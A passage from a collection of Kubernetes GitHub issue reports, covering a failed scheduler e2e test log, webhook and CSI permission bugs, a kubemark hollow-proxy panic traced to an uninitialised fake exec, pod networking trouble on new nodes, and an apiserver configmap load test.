cst unschedulable no nodes are available that match all of the following predicates:: insufficient cpu  1 .} \r jun 13 17:34:19.564: info: overcommit-5        pending          {podscheduled false 0001-01-01 00:00:00 +0000 utc 2017-06-13 17:24:19.405922143 +0800 cst unschedulable no nodes are available that match all of the following predicates:: insufficient cpu  1 .} \r jun 13 17:34:19.564: info: overcommit-6        pending          {podscheduled false 0001-01-01 00:00:00 +0000 utc 2017-06-13 17:24:19.417760766 +0800 cst unschedulable no nodes are available that match all of the following predicates:: insufficient cpu  1 .} \r jun 13 17:34:19.564: info: overcommit-7        pending          {podscheduled false 0001-01-01 00:00:00 +0000 utc 2017-06-13 17:24:19.463165271 +0800 cst unschedulable no nodes are available that match all of the following predicates:: insufficient cpu  1 .} \r jun 13 17:34:19.564: info: \r jun 13 17:34:19.569: info: \r logging node info for node 127.0.0.1\r jun 13 17:34:19.570: info: node info: &node{objectmeta:k8s_io_apimachinery_pkg_apis_meta_v1.objectmeta{name:127.0.0.1,generatename:,namespace:,selflink:/api/v1/nodes127.0.0.1,uid:ae578bb3-4f95-11e7-adec-002dc72800b3,resourceversion:63647,generation:0,creationtimestamp:2017-06-13 01:36:35.178384559 +0800 cst,deletiontimestamp:<nil>,deletiongraceperiodseconds:nil,labels:map string string{beta.kubernetes.io/arch: amd64,beta.kubernetes.io/os: linux,kubernetes.io/hostname: 127.0.0.1,},annotations:map string string{node.alpha.kubernetes.io/ttl: 0,volumes.kubernetes.io/controller-managed-attach-detach: true,},ownerreferences:  ,finalizers:  ,clustername:,},spec:nodespec{podcidr:,externalid:127.0.0.1,providerid:,unschedulable:false,taints:  ,},status:nodestatus{capacity:resourcelist{alpha.kubernetes.io/nvidia-gpu: {{0 0} {<nil>} 0 decimalsi},cpu: {{4 0} {<nil>} 4 decimalsi},memory: {{8202805248 0} {<nil>}  binarysi},pods: {{110 0} {<nil>} 110 decimalsi},},allocatable:resourcelist{alpha.kubernetes.io/nvidia-gpu: {{0 0} {<nil>} 0 decimalsi},cpu: {{4 0} {<nil>} 4 decimalsi},memory: {{8097947648 0} {<nil>}  binarysi},pods: {{110 0} {<nil>} 110 decimalsi},},phase:,conditions: {outofdisk false 2017-06-13 17:34:09 +0800 cst 2017-06-13 01:36:35 +0800 cst kubelethassufficientdisk kubelet has sufficient disk space available} {memorypressure false 2017-06-13 17:34:09 +0800 cst 2017-06-13 01:36:35 +0800 cst kubelethassufficientmemory kubelet has sufficient memory available} {diskpressure false 2017-06-13 17:34:09 +0800 cst 2017-06-13 01:36:35 +0800 cst kubelethasnodiskpressure kubelet has no disk pressure} {ready true 2017-06-13 17:34:09 +0800 cst 2017-06-13 01:36:45 +0800 cst kubeletready kubelet is posting ready status} ,addresses: {legacyhostip 127.0.0.1} {internalip 127.0.0.1} {hostname 127.0.0.1} ,daemonendpoints:nodedaemonendpoints{kubeletendpoint:daemonendpoint{port:10250,},},nodeinfo:nodesysteminfo{machineid:6b62b18d9fcb4921ad41ab333e541ebb,systemuuid:0645c3ee-facc-4312-865c-126ebdd779db,bootid:fdf65fab-dcb6-41a8-9012-6ddb885a7371,kernelversion:3.10.0-514.6.1.el7.x86_64,osimage:newstart carrier grade server linux,containerruntimeversion:docker://1.12.3,kubeletversion:v1.6.4+d6f433224538d,kubeproxyversion:v1.6.4+d6f433224538d,operatingsystem:linux,architecture:amd64,},images: { gcr.io/google-samples/gb-frontend:v4  512161546} { gcr.io/google_containers/redis:e2e  419003740} { gcr.io/google_containers/echoserver:1.4  140393469} { gcr.io/google_containers/resource_consumer:beta4  133500077} { gcr.io/google_samples/gb-redisslave:v1  109508753} { gcr.io/google_containers/nginx:1.7.9  91664166} { gcr.io/google_containers/nginx-slim:0.7  86864428} { gcr.io/google_containers/node-problem-detector:v0.2  40252079} { gcr.io/google_containers/resource_consumer/controller:beta4  40113904} { gcr.io/google_containers/nettest:1.7  24051275} { gcr.io/google_containers/hostexec:1.2  13209617} { gcr.io/google_containers/netexec:1.7  8016035} { gcr.io/google_containers/serve_hostname:v1.4  6222101} { gcr.io/google_containers/porter:cd5cb5791ebaa8641955f0e8c2a9bed669b1eaab  5010921} { gcr.io/google_containers/fakegitserver:0.1  5007469} { gcr.io/google_containers/update-demo:nautilus  4555533} { gcr.io/google_containers/update-demo:kitten  4549069} { gcr.io/google_containers/test-webserver:e2e  4534272} { gcr.io/google_containers/liveness:e2e  4387474} { gcr.io/google_containers/eptest:0.1  2970692} { gcr.io/google_containers/portforwardtester:1.0 gcr.io/google_containers/portforwardtester:1.2  2296329} { gcr.io/google_containers/mounttest:0.7 gcr.io/google_containers/mounttest:0.8  2052704} { gcr.io/google_containers/mounttest-user:0.3 gcr.io/google_containers/mounttest-user:0.5  1718853} { gcr.io/google_containers/busybox:1.24  1113554} { gcr.io/google_containers/pause-amd64:3.0  746888} { gcr.io/google-containers/pause:2.0 kubernetes/pause:latest  350164} ,volumesinuse:  ,volumesattached:  ,},}\r jun 13 17:34:19.571: info: \r logging kubelet events for node 127.0.0.1\r jun 13 17:34:19.574: info: \r logging pods the kubelet thinks is on node 127.0.0.1\r jun 13 17:34:19.580: info: overcommit-1 started at 2017-06-13 17:21:36 +0800 cst  0+1 container statuses recorded \r jun 13 17:34:19.580: info:      container overcommit-1 ready: true, restart count 0\r jun 13 17:34:19.580: info: overcommit-2 started at 2017-06-13 17:21:36 +0800 cst  0+1 container statuses recorded \r jun 13 17:34:19.580: info:      container overcommit-2 ready: true, restart count 0\r jun 13 17:34:19.580: info: overcommit-3 started at 2017-06-13 17:21:36 +0800 cst  0+1 container statuses recorded \r jun 13 17:34:19.580: info:      container overcommit-3 ready: true, restart count 0\r jun 13 17:34:19.580: info: overcommit-4 started at 2017-06-13 17:21:36 +0800 cst  0+1 container statuses recorded \r jun 13 17:34:19.580: info:      container overcommit-4 ready: true, restart count 0\r jun 13 17:34:19.580: info: overcommit-5 started at 2017-06-13 17:21:36 +0800 cst  0+1 container statuses recorded \r jun 13 17:34:19.580: info:      container overcommit-5 ready: true, restart count 0\r jun 13 17:34:19.580: info: overcommit-6 started at 2017-06-13 17:21:36 +0800 cst  0+1 container statuses recorded \r jun 13 17:34:19.580: info:      container overcommit-6 ready: true, restart count 0\r jun 13 17:34:19.580: info: overcommit-7 started at 2017-06-13 17:21:36 +0800 cst  0+1 container statuses recorded \r jun 13 17:34:19.580: info:      container overcommit-7 ready: true, restart count 0\r jun 13 17:34:19.580: info: overcommit-0 started at 2017-06-13 17:21:36 +0800 cst  0+1 container statuses recorded \r jun 13 17:34:19.580: info:      container overcommit-0 ready: true, restart count 0\r w0613 17:34:19.605680    5658 metrics_grabber.go:74  master node is not registered. grabbing metrics from scheduler and controllermanager is disabled.\r jun 13 17:34:19.713: info: \r latency metrics for node 127.0.0.1\r step: dumping a list of prepulled images on each node\r jun 13 17:34:19.747: info: waiting up to 3m0s for all  but 0  nodes to be ready\r step: destroying namespace \ e2e-tests-sched-pred-0g2pv\  for this suite.\r jun 13 17:34:44.913: info: namespace: e2e-tests-sched-pred-0g2pv, resource: bindings, ignored listing per whitelist\r  aftereach   k8s.io  schedulerpredicates  serial \r   /root/gopath/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:70\r \r 鈥?failure  685.870 seconds \r  k8s.io  schedulerpredicates  serial \r /root/gopath/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:650\r   validates resource limits of pods that are allowed to run  conformance   it \r   /root/gopath/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:216\r \r   expected error:\r       < errors.errorstring | 0xc42048e120>: {\r           s: \ error waiting for 8 pods to be running - probably a timeout: timeout while waiting for pods with labels \\\ startpodsid=140616c1-501a-11e7-b144-002dc72800b3\\\  to be running\ ,\r       }\r       error waiting for 8 pods to be running - probably a timeout: timeout while waiting for pods with labels \ startpodsid=140616c1-501a-11e7-b144-002dc72800b3\  to be running\r   not to have occurred\r \r   /root/gopath/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:202\r ------------------------------\r ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssjun 13 17:34:45.018: info: running aftersuite actions on all node\r jun 13 17:34:45.018: info: running aftersuite actions on node 1\r \r \r summarizing 1 failure:\r \r  fail   k8s.io  schedulerpredicates  serial   it  validates resource limits of pods that are allowed to run  conformance  \r /root/gopath/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:202\r \r ran 1 of 591 specs in 685.905 seconds\r fail! -- 0 passed | 1 failed | 0 pending | 590 skipped --- fail: teste2e  685.98s \r fail\r \r ginkgo ran 1 suite in 11m26.319511403s\r test suite failed\r !!! error in ./hack/ginkgo-e2e.sh:117\r   error in ./hack/ginkgo-e2e.sh:117. '\ ${ginkgo}\  \ ${ginkgo_args @ :+${ginkgo_args @ }}\  \ ${e2e_test}\  -- \ ${auth_config @ :+${auth_config @ }}\  --ginkgo.flakeattempts=\ ${flake_attempts}\  --host=\ ${kube_master_url}\  --provider=\ ${kubernetes_provider}\  --gce-project=\ ${project:-}\  --gce-zone=\ ${zone:-}\  --gke-cluster=\ ${cluster_name:-}\  --kube-master=\ ${kube_master:-}\  --cluster-tag=\ ${cluster_id:-}\  --repo-root=\ ${kube_root}\  --node-instance-group=\ ${node_instance_group:-}\  --prefix=\ ${kube_gce_instance_prefix:-e2e}\  --network=\ ${kube_gce_network:-${kube_gke_network:-e2e}}\  --federated-kube-context=\ ${federation_kube_context:-e2e-federation}\  ${kube_container_runtime:+\ --container-runtime=${kube_container_runtime}\ } ${master_os_distribution:+\ --master-os-distro=${master_os_distribution}\ } ${node_os_distribution:+\ --node-os-distro=${node_os_distribution}\ } ${num_nodes:+\ --num-nodes=${num_nodes}\ } ${e2e_clean_start:+\ --clean-start=true\ } ${e2e_min_startup_pods:+\ --minstartuppods=${e2e_min_startup_pods}\ } ${e2e_report_dir:+\ --report-dir=${e2e_report_dir}\ } ${e2e_report_prefix:+\ --report-prefix=${e2e_report_prefix}\ } \ ${@:-}\ ' exited with status 1\r call stack:\r   1: ./hack/ginkgo-e2e.sh:117 main ... \r exiting with status 1\r 2017/06/13 17:34:45 util.go:131: step './hack/ginkgo-e2e.sh --ginkgo.focus=\\bvalidates\\b. \\bresource\\b. \\blimits\\b --ginkgo.skip= \\ feature:.+\\  | \\ flaky\\  ' finished in 11m26.383061175s\r 2017/06/13 17:34:45 main.go:195: something went wrong: encountered 1 errors:  error during ./hack/ginkgo-e2e.sh --ginkgo.focus=\\bvalidates\\b. \\bresource\\b. \\blimits\\b --ginkgo.skip= \\ feature:.+\\  | \\ flaky\\  : exit status 1 \r 2017/06/13 17:34:45 e2e.go:79: err: exit status 1\r exit status 1\r

currently, in the batching audit webhook batches are sent  concurrently without any control over the lifecycle of the sending routine  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/plugin/pkg/audit/webhook/webhook.go l237 . when apiserver is being terminated, webhook doesn't wait for all request to be terminated and it may result in some audit events being dropped. webhook should probably wait until all requests have finished before exiting the  working routine  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/plugin/pkg/audit/webhook/webhook.go l192 \r \r /cc @sttts @tallclair @ericchiang @piosz @caoshufeng

there are a few places using magic strings for runtime names  e.g. kubelet is using \ docker\  in multiple places  , we should replace them with constants.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  : a kubeconfig file for webhooks that provides authinfo in the form of client-certificate-file and client-key-file does not work. token files, however,  do work  https://github.com/kubernetes/kubernetes/blob/ff7934fdeea38bf6a56c61bbbe15721c4f45023e/staging/src/k8s.io/apiserver/pkg/admission/plugin/webhook/config/authentication.go l120 . something similar to this case is needed for client-certificate-file and client-key-file.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r some of the gce-based tests  pull-kubernetes-e2e-gce, pull-kubernetes-e2e-gce-device-plugin-gpu, pull-kubernetes-kubemark-e2e-gce, and pull-kubernetes-kubemark-e2e-gce-big  of pr  60685, which is aimed at release-1.9, are failing with the following in their build-log.txt:\r    \r i0411 14:14:06.590  creating new custom network: e2e-30237-a8a12f\r w0411 14:14:07.072  error:  gcloud.compute.networks.create   mode  has been removed. please use  subnet-mode  instead.\r w0411 14:14:07.073  usage: gcloud compute networks create name  optional flags \r w0411 14:14:07.074    optional flags may be  --bgp-routing-mode | --description | --help | --mode |\r w0411 14:14:07.074                           --range | --subnet-mode\r    \r \r you can find the test history of that pr at https://k8s-gubernator.appspot.com/pr/60685 .\r \r   what you expected to happen  :\r i expected the testing infrastructure to not fail.\r \r   how to reproduce it  as minimally and precisely as possible   :\r test a pr against release-1.9 now.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : release-1.9\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

tl;dr : i think this can be done in the   density tests  , we just need to vary them so that there are   collisions    dupe pods  being submitted.  ... in a real kube system, there is a likliehood that 10 or 20 rc's might be created simultaneously.    we should ensure that the if we submit, say 100 concurrent pod creation requests,  -  consistency  the systems state is consistent such that _duplicate_ pods aren't created, and at least some requests are _rejected_. -  availability  every unique submission is eventually created.

environment  :\r - kubernetes version  use  kubectl version  :  client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.4\ , gitcommit:\ 5ca598b4ba5abb89bb773071ce452e33fb66339d\ , gittreestate:\ clean\ , builddate:\ 2018-06-06t08:13:03z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:  intel \r - os  e.g. from /etc/os-release : centos linux release 7.2.1511  core \r - kernel  e.g.  uname -a  : linux tpserver102 3.10.0-327.4.4.el7.centos.plus.x86_64  1 smp wed jan 6 00:35:56 utc 2016 x86_64 x86_64 x86_64 gnu/linux \r \r --------------------------------------------------------------------------------------\r \r we installed & configure kubeadm ,kubernetes latest version cluster.\r \r centos version: 7.5.1804\r kubeadm version:  kubeadm version: &version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ ,\r \r initial setup: initial we setup two node system one master & one node, it  works perfectly, able to create pod & service which can  communicate to all external ip & port \r \r issue:        now add new nodes in existing cluster with new token   create fresh token as old one was \r               expired   and create pods service.  now no pods is routing traffic outside all telnet are getting timeout ...................and this is happening every time with every new nodes. \r \r from node-b: i am not able to telnet any ip /external url.\r from node-a: i am able to telnet any ip\r \r node-a: working from all pods \r  jboss@alt-mobile-6c4c448446-545fq jboss $ telnet  10.225.241.184 1433\r trying 10.225.241.184...\r connected to 10.225.241.184.\r escape character is '^ '.\r ^ \r \r  jboss@alt-mobile-6c4c448446-545fq jboss $ traceroute 10.225.241.184\r traceroute to 10.225.241.184  10.225.241.184 , 30 hops max, 60 byte packets\r  1  gateway  10.43.224.1   0.101 ms  0.024 ms  0.021 ms\r  2  tpserver149.psnet.com  10.225.241.184   0.413 ms    \r \r \r node-b :   nothing work   new nodes join with new token  \r  \r  jboss@al-mobile-6c4c448446-j65jq ~ $ traceroute 10.225.241.184\r trying 13.126.198.64...\r \r  jboss@al-mobile-6c4c448446-j65jq ~ $ traceroute 10.225.241.184\r traceroute to 10.225.241.184  10.225.241.184 , 30 hops max, 60 byte packets\r  1       \r \r kindly help to find this kubernetes pod routing issue.\r \r regards\r anupam narayan

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r when testing k8s master with the \ canary\  csi images  = the images which will be tagged as the next release end of this week , the csi volume tests fail.\r \r pvcs remain pending because the external-attacher runs into a permission issue  from its log :\r    \r e0919 08:34:56.218106       1 leaderelection.go:224  error retrieving resource lock e2e-tests-csi-mock-plugin-l84wg/csi-hostpath: endpoints \ csi-hostpath\  is forbidden: user \ system:serviceaccount:e2e-tests-csi-mock-plugin-l84wg:csi-hostpath-service-account\  cannot get resource \ endpoints\  in api group \ \  in the namespace \ e2e-tests-csi-mock-plugin-l84wg\ \r i0919 08:34:56.218136       1 leaderelection.go:180  failed to acquire lease e2e-tests-csi-mock-plugin-l84wg/csi-hostpath\r    \r \r   what you expected to happen  :\r \r should work?\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   build k8s master\r   start cluster:  runtime_config= allow_privileged=1 feature_gates=\ blockvolume=true,mountpropagation=true,kubeletpluginswatcher=true\   hack/local-up-cluster.sh -o \r   run tests:  make what=test/e2e/e2e.test && go run hack/e2e.go -- --provider=local --test --test_args=\ --ginkgo.focus=csi.plugin.test.using.csi.driver:.hostpath -csiimageversion=canary\  \r \r \r \r   anything else we need to know?  :\r \r it works with the latest released versions of the csi containers  i.e. without  -csiimageversion=canary  . that is how this test currently runs in the k8s ci.\r \r if new permissions are needed, then https://kubernetes-csi.github.io/docs/example.html also needs to be updated.\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r \r  \r >  \r \r   what happened  :\r \r when i run hollow-node deployment，hollow-proxy will cause panic.\r \r hollow-node deployment is as follows:\r \r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   annotations:\r     deployment.kubernetes.io/revision: \ 10\ \r   creationtimestamp: 2018-10-12t09:42:16z\r   generation: 10\r   labels:\r     name: hollow-node\r   name: hollow-node\r   namespace: kubemark1\r   resourceversion: \ 14267172\ \r   selflink: /apis/extensions/v1beta1/namespaces/kubemark1/deployments/hollow-node\r   uid: 1b11d8b2-ce03-11e8-95f8-525400c802e4\r spec:\r   progressdeadlineseconds: 600\r   replicas: 1\r   revisionhistorylimit: 10\r   selector:\r     matchlabels:\r       name: hollow-node\r   strategy:\r     rollingupdate:\r       maxsurge: 1\r       maxunavailable: 1\r     type: rollingupdate\r   template:\r     metadata:\r       creationtimestamp: null\r       labels:\r         name: hollow-node\r     spec:\r       containers:\r       - command:\r         - /bin/sh\r         - -c\r         - /kubemark --morph=kubelet --name=$ node_name  --v=4 --kubeconfig=/etc/kubernetes/kubectl.kubeconfig\r           --alsologtostderr 1>>/var/log/kubelet-$ node_name .log 2>&1\r         env:\r         - name: node_name\r           valuefrom:\r             fieldref:\r               apiversion: v1\r               fieldpath: metadata.name\r         image: kubemark:v1\r         imagepullpolicy: ifnotpresent\r         name: hollow-kubelet\r         ports:\r         - containerport: 4194\r           protocol: tcp\r         - containerport: 10250\r           protocol: tcp\r         - containerport: 10255\r           protocol: tcp\r         resources:\r           requests:\r             cpu: 60m\r             memory: 100m\r         securitycontext:\r           privileged: true\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r         volumemounts:\r         - mountpath: /etc/kubernetes\r           name: kubeconfig-volume\r           readonly: true\r         - mountpath: /var/log\r           name: logs-volume\r       - command:\r         - /bin/sh\r         - -c\r         - /kubemark --morph=proxy --use-real-proxier=true --name=$ node_name  --v=4\r           --kubeconfig=/etc/kubernetes/kubectl.kubeconfig --alsologtostderr 1>>/var/log/kubeproxy-$ node_name .log\r           2>&1\r         env:\r         - name: node_name\r           valuefrom:\r             fieldref:\r               apiversion: v1\r               fieldpath: metadata.name\r         image: kubemark:v1\r         imagepullpolicy: ifnotpresent\r         name: hollow-proxy\r         resources:\r           requests:\r             cpu: 30m\r             memory: 20m\r         securitycontext:\r           privileged: true\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r         volumemounts:\r         - mountpath: /etc/kubernetes\r           name: kubeconfig-volume\r           readonly: true\r         - mountpath: /var/log\r           name: logs-volume\r       dnspolicy: clusterfirst\r       initcontainers:\r       - command:\r         - sysctl\r         - -w\r         - fs.inotify.max_user_instances=200\r         image: busybox\r         imagepullpolicy: ifnotpresent\r         name: init-inotify-limit\r         resources: {}\r         securitycontext:\r           privileged: true\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r       nodeselector:\r         node: py_node\r       restartpolicy: always\r       schedulername: default-scheduler\r       securitycontext: {}\r       terminationgraceperiodseconds: 30\r       volumes:\r       - hostpath:\r           path: /var/log\r           type: \ \ \r         name: logs-volume\r       - hostpath:\r           path: /etc/kubernetes\r           type: directory\r         name: kubeconfig-volume\r status:\r   availablereplicas: 1\r   conditions:\r   - lasttransitiontime: 2018-10-12t09:42:16z\r     lastupdatetime: 2018-10-12t09:42:16z\r     message: deployment has minimum availability.\r     reason: minimumreplicasavailable\r     status: \ true\ \r     type: available\r   - lasttransitiontime: 2018-10-12t09:42:16z\r     lastupdatetime: 2018-10-12t13:13:05z\r     message: replicaset \ hollow-node-648bf9bb4\  has successfully progressed.\r     reason: newreplicasetavailable\r     status: \ true\ \r     type: progressing\r   observedgeneration: 10\r   readyreplicas: 1\r   replicas: 1\r   updatedreplicas: 1\r    \r \r hollow-proxy container logs:\r \r i1012 12:37:13.681139       7 proxier.go:638  syncproxyrules took 622.278µs\r i1012 12:37:13.681156       7 asm_amd64.s:573  shutting down service config controller\r e1012 12:37:13.681249       7 runtime.go:66  observed a panic: \ invalid memory address or nil pointer dereference\   runtime error: invalid memory address or nil pointer dereference \r /root/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r /root/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r /root/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r /usr/local/go/src/runtime/asm_amd64.s:573\r /usr/local/go/src/runtime/panic.go:502\r /usr/local/go/src/runtime/panic.go:63\r /usr/local/go/src/runtime/signal_unix.go:388\r /root/go/src/k8s.io/kubernetes/vendor/k8s.io/utils/exec/testing/fake_exec.go:52\r /root/go/src/k8s.io/kubernetes/pkg/util/conntrack/conntrack.go:61\r /root/go/src/k8s.io/kubernetes/pkg/util/conntrack/conntrack.go:49\r /root/go/src/k8s.io/kubernetes/pkg/proxy/iptables/proxier.go:1367\r /root/go/src/k8s.io/kubernetes/pkg/proxy/iptables/proxier.go:532\r /root/go/src/k8s.io/kubernetes/pkg/proxy/config/config.go:211\r /usr/local/go/src/runtime/asm_amd64.s:2361\r panic: runtime error: invalid memory address or nil pointer dereference  recovered \r \tpanic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x0 pc=0x2c68ad9 \r \r goroutine 74  running :\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime.handlecrash 0x0, 0x0, 0x0 \r \t/root/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:58 +0x107\r panic 0x32dc9e0, 0x5c20d20 \r \t/usr/local/go/src/runtime/panic.go:502 +0x229\r k8s.io/kubernetes/vendor/k8s.io/utils/exec/testing.  fakeexec .lookpath 0xc420ad4450, 0x3ac6dba, 0x9, 0xc4208c51d0, 0x0, 0xc4200a4800, 0x4e7e83 \r \t/root/go/src/k8s.io/kubernetes/vendor/k8s.io/utils/exec/testing/fake_exec.go:52 +0x39\r k8s.io/kubernetes/pkg/util/conntrack.exec 0x3e3c000, 0xc420ad4450, 0xc4208c51d0, 0x5, 0x5, 0x5, 0x5 \r \t/root/go/src/k8s.io/kubernetes/pkg/util/conntrack/conntrack.go:61 +0x5e\r k8s.io/kubernetes/pkg/util/conntrack.clearentriesforip 0x3e3c000, 0xc420ad4450, 0xc420768c70, 0xc, 0x3abdd6d, 0x3, 0x0, 0x0 \r \t/root/go/src/k8s.io/kubernetes/pkg/util/conntrack/conntrack.go:49 +0x17d\r k8s.io/kubernetes/pkg/proxy/iptables.  proxier .syncproxyrules 0xc420d8fe40 \r \t/root/go/src/k8s.io/kubernetes/pkg/proxy/iptables/proxier.go:1367 +0xb643\r k8s.io/kubernetes/pkg/proxy/iptables.  proxier .onservicesynced 0xc420d8fe40 \r \t/root/go/src/k8s.io/kubernetes/pkg/proxy/iptables/proxier.go:532 +0x62\r k8s.io/kubernetes/pkg/proxy/config.  serviceconfig .run 0xc420ad5080, 0xc4200b62a0 \r \t/root/go/src/k8s.io/kubernetes/pkg/proxy/config/config.go:211 +0x183\r created by k8s.io/kubernetes/cmd/kube-proxy/app.  proxyserver .run\r \t/root/go/src/k8s.io/kubernetes/cmd/kube-proxy/app/server.go:555 +0x283\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r boot up hollow-proxy container with \ --use-real-proxier=true\ \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r i found that in \ kubemark/hollow-node.go\  we init a 'fakeexec' struct, but we don't init lookpathfunc in 'fakeexec' struct.\r \r https://github.com/kubernetes/kubernetes/blob/7f23a743e8c23ac6489340bbb34fa6f1d392db9d/cmd/kubemark/hollow-node.go l187\r \r    \r \tif config.morph == \ proxy\  {\r \t\t...\r \t\tsysctl := fakesysctl.newfake  \r \t\texecer := &fakeexec.fakeexec{}\r \t\teventbroadcaster := record.newbroadcaster  \r \t\t...\r \t\thollowproxy.run  \r \t}\r    \r \r https://github.com/kubernetes/kubernetes/blob/master/vendor/k8s.io/utils/exec/testing/fake_exec.go l28\r \r    \r // a simple scripted interface type.\r type fakeexec struct {\r \tcommandscript   fakecommandaction\r \tcommandcalls  int\r \tlookpathfunc  func string   string, error \r }\r    \r \r https://github.com/kubernetes/kubernetes/blob/master/vendor/k8s.io/utils/exec/testing/fake_exec.go l51\r \r    \r func  fake  fakeexec  lookpath file string   string, error  {\r \treturn fake.lookpathfunc file \r }\r    \r \r so,  execer.lookpathfunc is a vild pointer, so it cause panic.\r \r \r  kubeproxy-hollow-node-85c74bd457-ctszb.log  https://github.com/kubernetes/kubernetes/files/2473437/kubeproxy-hollow-node-85c74bd457-ctszb.log \r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r added loadbalancersourceranges configuration. logs are being spammed with “errormessage”: “the specified rule \\“peer: cidr, tcp, from port: 443, to port: 443, allow\\” already exists”\r \r \r \r   what you expected to happen  :\r not to see the logs being spammed with errors trying to add duplicate security groups\r \r   how to reproduce it  as minimally and precisely as possible   :\r setup ingress with loadbalancersourceranges we have 5 different cidr blocks, none that overlap. one /23 and 4 /32\r \r   anything else we need to know?  :\r \r   environment  :\r 1.10\r eks\r

common questions about people wanted to adopt k8s/docker/rkt that we should document as faqs: 1. what graph driver / filesystem do we recommend for distro foo x.y? or how should we choose? 2. what networking solution would you recommend for cloudprovider bar? or how should we choose? 3. what network-attached storage system would you recommend? or how should we choose? 4. we need to do x  e.g., mount over /etc/hosts  before running our app. that gets blown away upon every container restart. is there a recommended init/setup solution? or how should we choose? 5. what's the recommended solution for the \ pid 1\  problem? or how should we choose? 6. how to you recommend we build our containers? or how should we choose? 7. do you have a way to squash container layers? 8. how should we choose between docker and rkt?  i'm sure there are others.  cc @thockin @davidopp @dchen1107 @smarterclayton

failed: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-serial/125/  run so broken it didn't make junit output!

we are running on version 1.5.2, when i search similar issue through the list, i found  this  https://github.com/kubernetes/kubernetes/issues/41640  is somewhat relevant.\r \r     what i did\r \r we designed a load test on apiserver, which can be simply described as below:\r \r 1.  we create ten configmaps in a given namespace.\r 1.  we spawn 500 pods which run  curl https://..../api/v1/namespaces/<ns>/configmaps  in a high frequency, and the desired frequency is 10 requests per second.\r \r     what i saw\r \r    console\r $ kubectl get configmaps\r error from server  servertimeout : the server cannot complete the requested operation at this time, try again later  get configmaps \r $ kubectl get svc\r name            cluster-ip        external-ip     port s         age\r kubernetes      192.168.0.1       <none>          443/tcp        362d\r nginx           192.168.50.222    10.67.204.61    80:30343/tcp   94d\r nginx-2         192.168.235.111   10.67.204.11    80:30076/tcp   87d\r nginx-tessnet   192.168.71.26     10.67.204.189   80:32360/tcp   293d\r    \r \r the server only times out for configmaps request, while other resources are still in ok status.\r \r     related information\r \r flags 